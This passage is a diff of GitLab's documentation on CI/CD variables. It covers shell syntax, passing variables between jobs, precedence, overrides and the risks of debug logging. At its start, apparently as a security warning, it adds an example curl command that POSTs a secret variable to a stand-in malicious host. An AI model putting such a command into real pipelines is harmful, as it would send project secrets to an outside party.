+ - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" +``` + ### Custom variables validated by GitLab Some variables are listed in the UI so you can choose them more quickly. @@ -240,26 +347,21 @@ Some variables are listed in the UI so you can choose them more quickly. | `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | WARNING: -When you store credentials, there are security implications. If you are using AWS keys, -for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). - -## Syntax of CI/CD variables in job scripts +When you store credentials, there are [security implications](#cicd-variable-security). +If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). -All variables are set as environment variables in the build environment, and -they are accessible with normal methods that are used to access such variables. -In most cases `bash` or `sh` is used to execute the job script. +## Use CI/CD variables in job scripts -To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/). +All CI/CD variables are set as environment variables in the job's environment. +You can use variables in job scripts with the standard formatting for each environment's +shell. -| Shell | Usage | -|----------------------|------------------------------------------| -| bash/sh | `$variable` | -| PowerShell | `$env:variable` (primary) or `$variable` | -| Windows Batch | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. | +To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/). -### Bash +### Use variables with Bash, `sh` and similar -To access environment variables in **bash**, prefix the CI/CD variable name with (`$`): +To access environment variables in Bash, `sh`, and similar shells, prefix the +CI/CD variable with (`$`): ```yaml job_name: @@ -267,13 +369,10 @@ job_name: - echo $CI_JOB_ID ``` -### PowerShell +### Use variables with PowerShell -To access variables in a **Windows PowerShell** environment, including system set -environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables -can also be accessed by prefixing the variable name with (`$`) with -[GitLab Runner 1.0.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/68) -and later. +To access variables in a Windows PowerShell environment, including environment +variables set by the system, prefix the variable name with (`$env:`) or (`$`): ```yaml job_name: @@ -284,7 +383,7 @@ job_name: ``` In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820) -environment variables may need to be surrounded by quotes to expand properly: +environment variables might need to be surrounded by quotes to expand properly: ```yaml job_name: @@ -294,8 +393,8 @@ job_name: ### Windows Batch -To access environment variables in **Windows Batch**, surround the variable -with (`%`): +To access environment variables in Windows Batch, surround the variable +with `%`: ```yaml job_name: @@ -303,34 +402,45 @@ job_name: - echo %CI_JOB_ID% ``` +You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html). +Delayed expansion might be needed for variables that contain white spaces or newlines. + +```yaml +job_name: + script: + - echo !ERROR_MESSAGE! +``` + ### List all environment variables -You can also list all environment variables with the `export` command in Bash -or `dir env:` command in PowerShell. -Be aware that this also exposes the values of all the variables -you set, in the job log: +You can list all environment variables available to a script with the `export` command +in Bash or `dir env:` in PowerShell. This exposes the values of **all** available +variables, which can be a [security risk](#cicd-variable-security). +[Masked variables](#mask-a-cicd-variable) display as `[masked]`. + +For example: ```yaml job_name: script: - export - # - 'dir env:' # use this for PowerShell + # - 'dir env:' # Use this for PowerShell ``` -Example values: +Example job log output: ```shell export CI_JOB_ID="50" export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" export CI_COMMIT_SHORT_SHA="1ecfd275" export CI_COMMIT_REF_NAME="master" -export CI_REPOSITORY_URL="https://gitlab-ci-token:abcde-1234ABCD5678ef@example.com/gitlab-org/gitlab-foss.git" +export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" export CI_COMMIT_TAG="1.0.0" export CI_JOB_NAME="spec:other" export CI_JOB_STAGE="test" export CI_JOB_MANUAL="true" export CI_JOB_TRIGGERED="true" -export CI_JOB_TOKEN="abcde-1234ABCD5678ef" +export CI_JOB_TOKEN="[masked]" export CI_PIPELINE_ID="1000" export CI_PIPELINE_IID="10" export CI_PAGES_DOMAIN="gitlab.io" @@ -346,7 +456,7 @@ export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss" export CI_REGISTRY="registry.example.com" export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss" export CI_REGISTRY_USER="gitlab-ci-token" -export CI_REGISTRY_PASSWORD="longalfanumstring" +export CI_REGISTRY_PASSWORD="[masked]" export CI_RUNNER_ID="10" export CI_RUNNER_DESCRIPTION="my runner" export CI_RUNNER_TAGS="docker, linux" @@ -363,126 +473,26 @@ export CI_SERVER_VERSION_MINOR="9" export CI_SERVER_VERSION_PATCH="0" export GITLAB_USER_EMAIL="user@example.com" export GITLAB_USER_ID="42" +... ``` -## `.gitlab-ci.yml` defined variables - -You can add CI/CD variables to `.gitlab-ci.yml`. These variables are saved in the repository, -and they are meant to store non-sensitive project configuration, like `RAILS_ENV` or -`DATABASE_URL`. - -For example, if you set the variable below globally (not inside a job), it is -used in all executed commands and scripts: - -```yaml -variables: - DATABASE_URL: "postgres://postgres@postgres/my_database" -``` - -The YAML-defined variables are also set to all created -[service containers](../docker/using_docker_images.md), so that you can fine -tune them. - -Variables can be defined at a global level, but also at a job level. To turn off -global defined variables in your job, define an empty hash: - -```yaml -job_name: - variables: {} -``` - -You are able to use other variables inside your variable definition (or escape them with `$$`): - -```yaml -variables: - LS_CMD: 'ls $FLAGS $$TMP_DIR' - FLAGS: '-al' -script: - - 'eval $LS_CMD' # will execute 'ls -al $TMP_DIR' -``` - -Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) -keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) -when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually): - -## Group-level CI/CD variables - -> Introduced in GitLab 9.4. - -You can define per-project or per-group variables that are set in the pipeline environment. -Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`). -They are securely passed to GitLab Runner, which makes them available during a pipeline run. - -We recommend using group variables to store secrets (like passwords, SSH keys, and -credentials) for users who: - -- Do **not** use an external key store. -- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). - -Group-level variables can be added by: - -1. Navigating to your group's **Settings > CI/CD** page. -1. Inputting variable types, keys, and values in the **Variables** section. - Any variables of [subgroups](../../user/group/subgroups/index.md) are inherited recursively. - -After you set them, they are available for all subsequent pipelines. Any group-level user defined variables can be viewed in projects by: - -1. Navigating to the project's **Settings > CI/CD** page. -1. Expanding the **Variables** section. - - - -## Instance-level CI/CD variables - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. - -Instance variables are useful for no longer needing to manually enter the same credentials repeatedly for all your projects. Instance-level variables are available to all projects and groups on the instance. - -In GitLab 13.1 and later, the [maximum number of instance-level variables is 25](https://gitlab.com/gitlab-org/gitlab/-/issues/216097). - -You can define instance-level variables via the UI or [API](../../api/instance_level_ci_variables.md). - -To add an instance-level variable: - -1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. -1. Click the **Add variable** button, and fill in the details: - - - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. - - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. - - **Type**: `File` or `Variable`. - - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements). - -After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button. - -### Enable or disable UI interface for instance-level CI/CD variables - -The UI interface for Instance-level CI/CD variables is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can opt to disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:instance_variables_ui) -``` - -To enable it: - -```ruby -Feature.enable(:instance_variables_ui) -``` - -## Inherit CI/CD variables +## Pass an environment variable to another job -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0 behind a disabled [feature flag](../../administration/feature_flags.md): `ci_dependency_variables`. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. -You can inherit CI/CD variables from dependent jobs. +You can pass environment variables from one job to another job in a later stage. +These variables cannot be used as CI/CD variables to configure a pipeline, but +they can be used in job scripts. -This feature makes use of the [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) report feature. +1. In the job script, save the variable as a `.env` file. +1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv) +artifact. +1. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/README.md#dependencies) + or the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keywords. +1. The later job can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). -Example with [`dependencies`](../yaml/README.md#dependencies) keyword. +For example, with the [`dependencies`](../yaml/README.md#dependencies) keyword: ```yaml build: @@ -496,12 +506,12 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # Output is: 'hello' dependencies: - build ``` -Example with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword: +For example, with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword: ```yaml build: @@ -515,133 +525,113 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # Output is: 'hello' needs: - job: build artifacts: true ``` -## Priority of CI/CD variables +## CI/CD variable precedence -Variables of different types can take precedence over other -variables, depending on where they are defined. +You can use CI/CD variables with the same name in different places, but the values +can overwrite each other. The type of variable and where they are defined determines +which variables take precedence. The order of precedence for variables is (from highest to lowest): -1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables), - and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline). -1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-custom-variable). -1. Group-level [variables](#group-level-cicd-variables) or [protected variables](#protect-a-custom-variable). -1. Instance-level [variables](#instance-level-cicd-variables) or [protected variables](#protect-a-custom-variable). -1. [Inherited CI/CD variables](#inherit-cicd-variables). -1. YAML-defined [job-level variables](../yaml/README.md#variables). -1. YAML-defined [global variables](../yaml/README.md#variables). +1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), + [scheduled pipeline variables](../pipelines/schedules.md#using-variables), + and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). +1. Project [variables](#custom-cicd-variables). +1. Group [variables](#group-cicd-variables). +1. Instance [variables](#instance-cicd-variables). +1. [Inherited variables](#pass-an-environment-variable-to-another-job). +1. Variables defined in jobs in the `.gitlab-ci.yml` file. +1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. 1. [Deployment variables](#deployment-variables). -1. [Predefined CI/CD variables](predefined_variables.md). - -For example, if you define: - -- `API_TOKEN=secure` as a project variable. -- `API_TOKEN=yaml` in your `.gitlab-ci.yml`. - -`API_TOKEN` takes the value `secure` as the project -variables take precedence over those defined in `.gitlab-ci.yml`. - -## Unsupported variables - -Variable names are limited by the underlying shell used to execute scripts (see [available shells](https://docs.gitlab.com/runner/shells/index.html). -Each shell has its own unique set of reserved variable names. -Keep in mind the [scope of CI/CD variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it. - -## Where variables can be used - -[This section](where_variables_can_be_used.md) describes where and how the different types of variables can be used. - -## Advanced use - -### Limit the environment scopes of CI/CD variables +1. [Predefined variables](predefined_variables.md). -You can limit the environment scope of a variable by -[defining which environments](../environments/index.md) it can be available for. +In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. +Variables defined in jobs have a higher precedence than variables defined globally. -To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs). +```yaml +variables: + API_TOKEN: "default" -### Deployment variables +job1: + variables: + API_TOKEN: "secure" + script: + - echo "The variable value is $API_TOKEN" +``` -> Introduced in GitLab 8.15. +## Override a defined CI/CD variable -[Integrations](../../user/project/integrations/overview.md) that are -responsible for deployment configuration may define their own variables that -are set in the build environment. These variables are only defined for -[deployment jobs](../environments/index.md). Please consult the documentation of -the integrations that you are using to learn which variables they define. +You can override the value of a variable when you: -An example integration that defines deployment variables is the -[Kubernetes integration](../../user/project/clusters/index.md#deployment-variables). +1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI. +1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline). +1. Run a job manually in the UI. +1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). +1. Trigger a pipeline by using [the API](../triggers/README.md#making-use-of-trigger-variables). +1. Pass variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline). -### Auto DevOps environment variables +The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence). -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7. +### Override a variable when running a pipeline manually -You can configure [Auto DevOps](../../topics/autodevops/index.md) to -pass CI/CD variables to the running application by prefixing the key of the -variable with `K8S_SECRET_`. +You can override the value of a CI/CD variable when you +[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). -These [prefixed variables](../../topics/autodevops/customize.md#application-secret-variables) are -then available as environment variables on the running application -container. +1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**. +1. Choose the branch you want to run the pipeline for. +1. Input the variable and its value in the UI. -WARNING: -Variables with multi-line values are not supported due to -limitations with the Auto DevOps scripting environment. +### Restrict who can override variables -### When you can override variables +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8. -You can override the value of a variable when: +You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline +with overridden variables, they receive the `Insufficient permissions to set pipeline variables` +error message. -1. [Manually running](#override-a-variable-by-manually-running-a-pipeline) pipelines in the UI. -1. Manually creating pipelines [via API](../../api/pipelines.md#create-a-new-pipeline). -1. Manually playing a job via the UI. -1. Using [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). -1. Manually triggering pipelines with [the API](../triggers/README.md#making-use-of-trigger-variables). -1. Passing variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline). +If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path), +use this setting for control over the environment the pipeline runs in. -These pipeline variables declared in these events take [priority over other variables](#priority-of-cicd-variables). +You can enable this feature by using [the projects API](../../api/projects.md#edit-project) +to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. -#### Restrict who can override variables +## Limit the environment scope of a CI/CD variable -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8. - -To allow only users with Maintainer role to set these variables, you can use -[the API](../../api/projects.md#edit-project) to enable the project setting `restrict_user_defined_variables`. -When a user without Maintainer role tries to run a pipeline with overridden -variables, an `Insufficient permissions to set pipeline variables` error occurs. +You can limit the environment scope of a variable by +[defining which environments](../environments/index.md) it can be available for. -The setting is `disabled` by default. +To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs). -If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path), -use this setting for strict control over all aspects of the environment -the pipeline runs in. +## Deployment variables -#### Override a variable by manually running a pipeline +Integrations that are responsible for deployment configuration can define their own +variables that are set in the build environment. These variables are only defined +for [deployment jobs](../environments/index.md). -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/44059) in GitLab 10.8. +For example, the [Kubernetes integration](../../user/project/clusters/index.md#deployment-variables) +defines deployment variables that you can use with the integration. -You can override the value of a current variable by -[running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). +The [documentation for each integration](../../user/project/integrations/overview.md) +explains if the integration has any deployment variables available. -For instance, suppose you added a custom variable named `$TEST` -and you want to override it in a manual pipeline. +## Auto DevOps environment variables -Navigate to your project's **CI/CD > Pipelines** and click **Run pipeline**. -Choose the branch you want to run the pipeline for, then add a variable and its value in the UI: +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7. - +You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables +to a running application. -The runner overrides the value previously set and uses the custom -value for this specific pipeline. +To make a CI/CD variable available as an environment variable in the running application's container, +[prefix the variable key](../../topics/autodevops/customize.md#application-secret-variables) +with `K8S_SECRET_`. - +CI/CD variables with multi-line values are not supported. ## CI/CD variable expressions @@ -649,7 +639,7 @@ value for this specific pipeline. > - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules) Use variable expressions to limit which jobs are created -within a pipeline after changes are pushed to GitLab. +in a pipeline after changes are pushed to GitLab. In `.gitlab-ci.yml`, variable expressions work with both: @@ -774,11 +764,8 @@ so `&&` is evaluated before `||`. #### Parentheses -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3 -> - It's deployed behind a feature flag, enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(FREE SELF)** +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5. It is possible to use parentheses to group conditions. Parentheses have the highest precedence of all operators. Expressions enclosed in parentheses are evaluated first, @@ -794,24 +781,6 @@ Examples: - `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3` - `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)` -##### Enable or disable parenthesis support for variables **(FREE SELF)** - -The feature is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:ci_if_parenthesis_enabled) -``` - -To enable it: - -```ruby -Feature.enable(:ci_if_parenthesis_enabled) -``` - ### Storing regular expressions in variables It is possible to store a regular expression in a variable, to be used for pattern matching. @@ -834,7 +803,7 @@ The available regular expression syntax is limited. See [related issue](https:// for more details. If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly, -as well as from within a variable: +as well as from in a variable: ```yaml variables: @@ -857,44 +826,22 @@ testvariable: > Introduced in GitLab Runner 1.7. WARNING: -Enabling debug tracing can have severe security implications. The -output **will** contain the content of all your variables and any other -secrets! The output **will** be uploaded to the GitLab server and made visible -in job logs! - -By default, the runner hides most of the details of what it is doing when -processing a job. This behavior keeps job logs short, and prevents secrets -from being leaked into the log unless your script writes them to the screen. - -If a job isn't working as expected, this can make the problem difficult to -investigate; in these cases, you can enable debug tracing in `.gitlab-ci.yml`. -Available on GitLab Runner v1.7+, this feature enables the shell's execution log. This results in a verbose job log listing all commands that were run, variables that were set, and so on. +Debug logging can be a serious security risk. The output contains the content of +all variables and other secrets available to the job. The output is uploaded to the +GitLab server and visible in job logs. -Before enabling this, you should ensure jobs are visible to -[team members only](../../user/permissions.md#project-features). You should -also [erase](../jobs/index.md#view-jobs-in-a-pipeline) all generated job logs -before making them visible again. +You can use debug logging to help troubleshoot problems with pipeline configuration +or job scripts. Debug logging exposes job execution details that are usually hidden +by the runner and makes job logs more verbose. It also exposes all variables and secrets +available to the job. -### Restricted access to debug logging - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8. - -With restricted access to debug logging, only users with -[developer or higher permissions](../../user/permissions.md#project-members-permissions) -can view job logs when debug logging is enabled with a variable in: - -- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables). -- The CI/CD variables set within the GitLab UI. - -WARNING: -If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible -to all users with access to job logs. The permission levels are not checked by Runner, -so you should make use of the variable in GitLab only. +Before you enable debug logging, make sure only [team members](../../user/permissions.md#project-features) +can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) +with debug output before you make logs public again. ### Enable Debug logging -To enable debug logs (traces), set the `CI_DEBUG_TRACE` variable to `true`: +To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: ```yaml job_name: @@ -902,11 +849,10 @@ job_name: CI_DEBUG_TRACE: "true" ``` -Example truncated output with `CI_DEBUG_TRACE` set to `true`: +Example output (truncated): ```shell ... - export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE" if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\'' @@ -941,10 +887,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655 ++ export CI_JOB_TOKEN=[MASKED] ++ CI_JOB_TOKEN=[MASKED] -++ export CI_BUILD_ID=379424655 -++ CI_BUILD_ID=379424655 -++ export CI_BUILD_TOKEN=[MASKED] -++ CI_BUILD_TOKEN=[MASKED] ++ export CI_REGISTRY_USER=gitlab-ci-token ++ CI_REGISTRY_USER=gitlab-ci-token ++ export CI_REGISTRY_PASSWORD=[MASKED] @@ -957,10 +899,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_JOB_STAGE=test ++ export CI_NODE_TOTAL=1 ++ CI_NODE_TOTAL=1 -++ export CI_BUILD_NAME=debug_trace -++ CI_BUILD_NAME=debug_trace -++ export CI_BUILD_STAGE=test -++ CI_BUILD_STAGE=test ++ export CI=true ++ CI=true ++ export GITLAB_CI=true @@ -975,16 +913,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_SERVER_PROTOCOL=https ++ export CI_SERVER_NAME=GitLab ++ CI_SERVER_NAME=GitLab -++ export CI_SERVER_VERSION=12.6.0-pre -++ CI_SERVER_VERSION=12.6.0-pre -++ export CI_SERVER_VERSION_MAJOR=12 -++ CI_SERVER_VERSION_MAJOR=12 -++ export CI_SERVER_VERSION_MINOR=6 -++ CI_SERVER_VERSION_MINOR=6 -++ export CI_SERVER_VERSION_PATCH=0 -++ CI_SERVER_VERSION_PATCH=0 -++ export CI_SERVER_REVISION=f4cc00ae823 -++ CI_SERVER_REVISION=f4cc00ae823 ++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal ++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal ++ export CI_PROJECT_ID=17893 @@ -1029,55 +957,33 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_COMMIT_REF_NAME=master ++ export CI_COMMIT_REF_SLUG=master ++ CI_COMMIT_REF_SLUG=master -++ export CI_COMMIT_MESSAGE=s/CI/Runner -++ CI_COMMIT_MESSAGE=s/CI/Runner -++ export CI_COMMIT_TITLE=s/CI/Runner -++ CI_COMMIT_TITLE=s/CI/Runner -++ export CI_COMMIT_DESCRIPTION= -++ CI_COMMIT_DESCRIPTION= -++ export CI_COMMIT_REF_PROTECTED=true -++ CI_COMMIT_REF_PROTECTED=true -++ export CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045 -++ CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045 -++ export CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000 -++ CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000 -++ export CI_BUILD_REF_NAME=master -++ CI_BUILD_REF_NAME=master -++ export CI_BUILD_REF_SLUG=master -++ CI_BUILD_REF_SLUG=master -++ export CI_RUNNER_ID=1337 -++ CI_RUNNER_ID=1337 -++ export CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com -++ CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com -++ export 'CI_RUNNER_TAGS=gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex' -++ CI_RUNNER_TAGS='gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex' -++ export CI_DEBUG_TRACE=true -++ CI_DEBUG_TRACE=true -++ export GITLAB_USER_ID=42 -++ GITLAB_USER_ID=42 -++ export GITLAB_USER_EMAIL=user@example.com -++ GITLAB_USER_EMAIL=user@example.com -++ export GITLAB_USER_LOGIN=root -++ GITLAB_USER_LOGIN=root -++ export 'GITLAB_USER_NAME=User' -++ GITLAB_USER_NAME='User' -++ export CI_DISPOSABLE_ENVIRONMENT=true -++ CI_DISPOSABLE_ENVIRONMENT=true -++ export CI_RUNNER_VERSION=12.5.0 -++ CI_RUNNER_VERSION=12.5.0 -++ export CI_RUNNER_REVISION=577f813d -++ CI_RUNNER_REVISION=577f813d -++ export CI_RUNNER_EXECUTABLE_ARCH=linux/amd64 -++ CI_RUNNER_EXECUTABLE_ARCH=linux/amd64 -++ export VERY_SECURE_VARIABLE=imaverysecurevariable -++ VERY_SECURE_VARIABLE=imaverysecurevariable - ... ``` +### Restrict access to debug logging + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8. + +You can restrict access to debug logging. When restricted, only users with +[developer or higher permissions](../../user/permissions.md#project-members-permissions) +can view job logs when debug logging is enabled with a variable in: + +- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- The CI/CD variables set in the GitLab UI. + +WARNING: +If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible +to all users with access to job logs. The permission levels are not checked by the runner, +so you should only use the variable in GitLab itself. + ## Video walkthrough of a working example -The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) video is a walkthrough of the [Complex 